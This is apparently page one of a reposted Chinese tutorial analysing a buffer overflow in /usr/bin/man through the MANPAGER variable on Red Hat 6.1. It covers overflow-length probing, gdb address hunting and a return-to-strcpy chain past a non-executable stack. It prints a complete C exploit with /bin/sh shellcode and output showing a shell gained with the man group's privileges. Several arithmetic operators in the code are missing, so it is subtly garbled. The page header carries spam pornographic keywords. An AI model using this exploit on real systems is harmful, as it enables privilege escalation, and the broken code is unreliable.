人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

緩沖區(qū)溢出分析

發(fā)布日期:2022-01-01 04:44 | 文章來源:站長之家
1. 簡介

我在 http://www.hack.co.za/ 上看到 Lam3rZ 小組的 Kil3r 寫的一個針對
redhat 6.1 (and others) /usr/bin/man exploit,下載回來后,直接編譯運行,并
沒有完成攻擊。注意到原exploit是針對不可執(zhí)行堆棧環(huán)境編寫的,而我測試的主機
沒有打不可執(zhí)行堆棧補丁等等。其實針對不可執(zhí)行堆棧環(huán)境的緩沖區(qū)溢出技術(shù)同樣可
以用于"常規(guī)"環(huán)境,所以就此次攻擊做一完整描述,拋磚引玉,見笑。

2. 問題描述

/usr/bin/man 會使用 MANPAGER 環(huán)境變量,關(guān)于這個變量的細(xì)節(jié)請 man man 查看。
當(dāng) MANPAGER 變量設(shè)置成超長字符串時,會導(dǎo)致 /usr/bin/man 執(zhí)行中緩沖區(qū)溢出。

[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意這里就是 MANPAGER 變量

注意到命令最后通過管道符'|'傳遞給了 MANPAGER 變量所指定的程序。

我們重復(fù)類似的操作,不斷加大 MANPAGER 變量的長度,直到發(fā)生溢出。用"二分法"
較快地確定出當(dāng)長度最小為 3945 時,緩沖區(qū)溢出并導(dǎo)致段錯誤。

[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 這里已經(jīng)出現(xiàn)段錯誤,通常是指針操作訪問非法地
[scz@ /home/scz/src]> 址造成,很可能某個函數(shù)的返回地址已經(jīng)被覆蓋掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 這里刪除該環(huán)境變量恢復(fù)正常

3. 攻擊思路

姑且假設(shè) /usr/bin/man 執(zhí)行過程中讀取 MANPAGER 變量到一個緩沖區(qū)中,由于未做
邊界檢查導(dǎo)致溢出,并覆蓋了某個函數(shù)的返回地址。顯然,覆蓋值來自 MANPAGER 變
量的值,換句話說,用于覆蓋的返回地址來自 MANPAGER 變量的值。

在"常規(guī)"環(huán)境下,理論上可以直接通過 MANPAGER 變量傳遞用于覆蓋的返回地址以及
shellcode本身,因為3945大小的緩沖區(qū)已經(jīng)足以做任何事情,也可以僅僅通過
MANPAGER 變量傳遞用于覆蓋的返回地址,利用其他自定義環(huán)境變量傳遞shellcode。

在不可執(zhí)行堆棧環(huán)境下,上述兩種傳遞shellcode的辦法都因為shellcode位于堆棧高
區(qū),無法覆蓋返回地址指向我們的shellcode。請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中
的<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,具體的技術(shù)原理不再贅述。

Lam3rZ 小組的 Kil3r 所編寫的exploit code采用的技術(shù)是,用于覆蓋的返回地址指
向 strcpy() 函數(shù)的 PLT 入口(過程鏈接表入口),同時在堆棧中利用 MANPAGER 變
量的緩沖區(qū)溢出,偽造一個發(fā)生常規(guī) strcpy() 函數(shù)調(diào)用時所需要的假棧幀。
shellcode采用自定義環(huán)境變量的技術(shù)傳遞進(jìn)入堆棧高區(qū),因為使用了 execle() 函
數(shù)調(diào)用,該shellcode在 /usr/bin/man 進(jìn)程地址空間中的位置相對固定,很容易猜
測調(diào)整。當(dāng)返回地址被成功覆蓋后,程序流程隨著問題函數(shù)的返回而轉(zhuǎn)向一個
strcpy() 函數(shù)調(diào)用,strcpy() 函數(shù)調(diào)用會將shellcode從 /usr/bin/man 進(jìn)程的環(huán)
境變量區(qū)(堆棧高區(qū))拷貝到另外一個區(qū)域,這個區(qū)域要求在不可執(zhí)行堆棧環(huán)境下依舊
可寫可執(zhí)行,該區(qū)域必須在 /usr/bin/man 進(jìn)程的地址空間內(nèi)。顯然,這個區(qū)域的地
址需要提前猜測確定,因為該區(qū)域的地址作為 strcpy() 函數(shù)調(diào)用的目標(biāo)地址,必須
在偽造假棧幀時提供,后面我們會介紹猜測確定該區(qū)域地址的技術(shù)手段。

至于 strcpy() 函數(shù)調(diào)用完成,我們的shellcode已經(jīng)進(jìn)入可執(zhí)行區(qū)域,流程又是如
何轉(zhuǎn)向我們自己的shellcode,請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中的
<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,內(nèi)有圖示,我看得頭都快白了,總算
理解,chat* sigh。

從上面的攻擊思路分析中完全可以看出,Lam3rZ 小組的 Kil3r 的攻擊手段適用范圍
要廣些,所以我們先采用這種技術(shù)完成一次攻擊。

4. 攻擊第一步,猜測確定幾個關(guān)鍵地址

(1) 確定 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口

[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------

因為緩沖區(qū)溢出發(fā)生在 /usr/bin/man 進(jìn)程地址空間中,我們需要確定的 strcpy()
函數(shù)的 PLT 入口也應(yīng)該是 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口。該入口
和 /usr/bin/man 文件二進(jìn)制映像有關(guān),對于某個確定的elf格式的程序文件,該
入口相對固定。

(2) 猜測確定一個在不可執(zhí)行堆棧環(huán)境下 /usr/bin/man 進(jìn)程空間中可寫可執(zhí)行的區(qū)
域地址

[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 輸入 Ctrl-Z 掛起 man ls
[scz@ /home/scz/src]> jobs
[1] Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>

這個區(qū)域顯示的是可讀寫,并沒有可執(zhí)行,但實際是可執(zhí)行的。我們挑選一個處在4
字節(jié)對齊邊界上的地址,將來shellcode最終被拷貝到該地址并在該地址上開始執(zhí)行。

#define SHELLCODETARGET 0x0805010c

注意,這里的 SHELLCODETARGET 需要出現(xiàn)在 MANPAGER 環(huán)境變量中,所以不得出現(xiàn)
零值。我當(dāng)時挑選了 0x08050100 ,結(jié)果總是不能正確溢出,后來才想起這個毛病所
在。

我們可以不通過 /proc/<pid>/maps 文件查找滿足條件的區(qū)域地址,而直接使用
strcpy() 函數(shù)的 GOT 入口(全局偏移表入口)地址。

[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 動態(tài)鏈接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>

#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT

顯然 STRCPYGOT 符合可寫可執(zhí)行區(qū)域的條件??赡苣銚?dān)心直接使用 STRCPYGOT 作為
目標(biāo)地址,會影響到 strcpy() 函數(shù)本身的執(zhí)行過程。仔細(xì)研讀上面匯編代碼,使用
STRCPYGOT 的時候還沒有發(fā)生字符串拷貝,換句話說,發(fā)生字符串拷貝的時候已經(jīng)無
所謂 STRCPYGOT 處是什么內(nèi)容了,反正我們的shellcode是不會使用 strcpy() 函數(shù)
的。要是還不放心,就不要直接使用 STRCPYGOT 作為目標(biāo)地址,而使用 STRCPYGOT
4 作為目標(biāo)地址,只是不知道全局偏移表中 strcpy 入口地址的下一個又是什么函
數(shù)的入口地址,反正都無所謂。

(3) 猜測確定位于 /usr/bin/man 進(jìn)程環(huán)境變量區(qū)的shellcode地址

下面的討論基于一個假設(shè),你已經(jīng)明白elf文件的內(nèi)存布局。我們需要通過環(huán)境變量
傳遞shellcode進(jìn)入 /usr/bin/man 的進(jìn)程空間,strcpy() 使用這里的shellcode作
為拷貝源。猜測確定拷貝源地址是必須的。

#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )

這里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了結(jié)尾的'\0'。如果擔(dān)心不夠精
確,可以在shellcode的前部增加 NOP 指令。

上面的技術(shù)適用于i386/Linux平臺,對于SPARC/Solaris平臺這樣相對復(fù)雜的情況,
還可以采用輔助程序觀察execle()之后的內(nèi)存布局,我們在條目6中介紹。

(4) 猜測確定問題緩沖區(qū)溢出點

實際上攻擊從問題描述就已經(jīng)開始了,發(fā)現(xiàn)問題的同時就開始了攻擊過程,問題緩沖
區(qū)溢出點顯然可以從 39459 = 3954 附近考慮。但是,不知道什么緣故,居然無
法得到core文件,也就無法深入調(diào)試,最后只好參看 Kil3r 的exploit code,發(fā)現(xiàn)
他使用的溢出點在4067,因為沒有core文件,無法確定發(fā)生了什么,為什么3954已經(jīng)
開始溢出,但真正有效溢出點卻在4067,中間相差這么多字節(jié),沒有core的日子真難
過。

#define VULPOINT 4067

5. 編寫針對不可執(zhí)行堆棧環(huán)境的溢出攻擊程序

/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/

#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>

/* 一段標(biāo)準(zhǔn)的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆蓋的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1

int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINTSAFEPADLEN;

fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPointSAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbufvulPoint );
*pointer= RETADDRESS;
*pointer= SHELLCODETARGET;
*pointer= SHELLCODETARGET;
*pointer= SHELLCODESOURCE;

memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */

[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
上一頁12 3 下一頁 閱讀全文

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部